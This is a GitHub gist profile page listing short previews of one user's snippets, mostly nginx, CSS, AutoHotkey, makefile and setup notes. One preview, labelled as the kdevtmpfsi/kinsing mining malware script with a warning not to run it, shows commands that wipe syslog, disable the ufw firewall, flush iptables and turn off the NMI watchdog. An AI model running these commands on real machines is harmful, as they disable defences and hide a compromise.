Skip to content

Instantly share code, notes, and snippets.

View crosstyan's full-sized avatar

Crosstyan crosstyan

View GitHub Profile
@crosstyan
crosstyan / prism-github.css
Last active September 20, 2020 15:46
A more github like prism theme
/*
Prism.js GitHub-like theme derived from
https://www.samclarke.com/assets/migrating-to-hugo/github.html
Modified by Crosstyan
https://github.com/crosstyan
*/
code[class*="language-"], pre[class*="language-"] {
color: #333;
background: none;
@crosstyan
crosstyan / gist.conf
Last active September 24, 2020 16:15
A nginx.conf for reverse proxy gist
http {
# 缓存位置配置
# 必须要放到http区块, 否则会报错
# 不用缓存的话可以把它删了
proxy_cache_path /var/cache/nginx/ levels=1:2 keys_zone=gist_cache:10m max_size=1g inactive=60m use_temp_path=off;
# Server区块开始
server {
listen 80;
#换成你自己的域名
server_name gist.example.com;
@crosstyan
crosstyan / moe_blog.conf
Last active April 27, 2021 17:53
a nginx config file for me
server{
listen 80;
server_name blog.moe.wtf;
return 301 https://blog.moe.wtf$request_uri;
}
server{
listen 443 quic reuseport;
listen 443 ssl http2;
server_name blog.moe.wtf;
@crosstyan
crosstyan / kdevtmpfsi.sh
Created May 7, 2021 11:37
the script of mining malware kdevtmpfsi and kinsing. DON'T RUN IT, unless you know what you are doing.
#!/bin/sh
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
ufw disable
iptables -F
echo "nope" >/tmp/log_rot
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
@crosstyan
crosstyan / stm.mk
Last active August 16, 2021 18:56
make file generated by projectgenerator
# Source from https://www.codenong.com/cs106677907/
##########################################################################################################################
# File automatically-generated by tool: [projectgenerator] version: [3.0.0] date: [Wed Jun 10 23:45:01 CST 2020]
##########################################################################################################################
# ------------------------------------------------
# Generic Makefile (based on gcc)
#
# ChangeLog :
# 2017-02-10 - Several enhancements + project update mode
@crosstyan
crosstyan / komorebic.ahk
Last active February 24, 2025 13:51
komorebic.ahk for AutoHotkey v2
#SingleInstance Force
WorkspaceNumber := 9
ArrayFromZero(Length){
temp := []
Loop Length {
temp.Push(A_Index-1)
}
return temp

komorebi 中文用户指南

该指南并非原 README 的逐字翻译, 我做了一些改编使得中文使用者更易于理解, 同时去掉了部分与使用无关的内容.

This guide is not a word by word translation of original README. Adaptations are made to make it more readable for Chinese user, and omit some section like contribution. (I assume one who has ability to contribute can read original English README)

komorebi 是又一个 Windows 平铺式窗口管理器, 受 bspwm 所启发.

架构

import time
import random
import pandas as pd
import datetime
import atexit
d = {
'pressure': [],
'temperature': [],
'time':[]

Command

font install

pacman -S adobe-source-han-sans-otc-fonts \
adobe-source-han-sans-cn-fonts \
adobe-source-han-serif-otc-fonts \
adobe-source-han-serif-cn-fonts \
ttf-sarasa-gothic \
otf-cascadia-code \
@crosstyan
crosstyan / README.md
Created January 10, 2022 13:31 — forked from jnovack/README.md
Opening up mosh in firewalld using firewall-cmd

Mosh (mobile shell) is a gift from the Gods(tm). Anyone with spotty internet or wireless connection has suffered the pain of a lost SSH session. Sure, one can fire up screen (or tmux as the kids are using these days), but that's an extra step and you are still using the SSH protocol.

I'm not here to tout the benefits of Mosh, you came here to open it up in your firewall.

  1. Create the following file as /etc/firewalld/services/mosh.xml
  2. firewall-cmd --add-service=mosh --permanent
  3. firewall-cmd --reload

If you tend to have a lot of sessions (not recommended), you can increase the ports, but the default should be fine for most applications.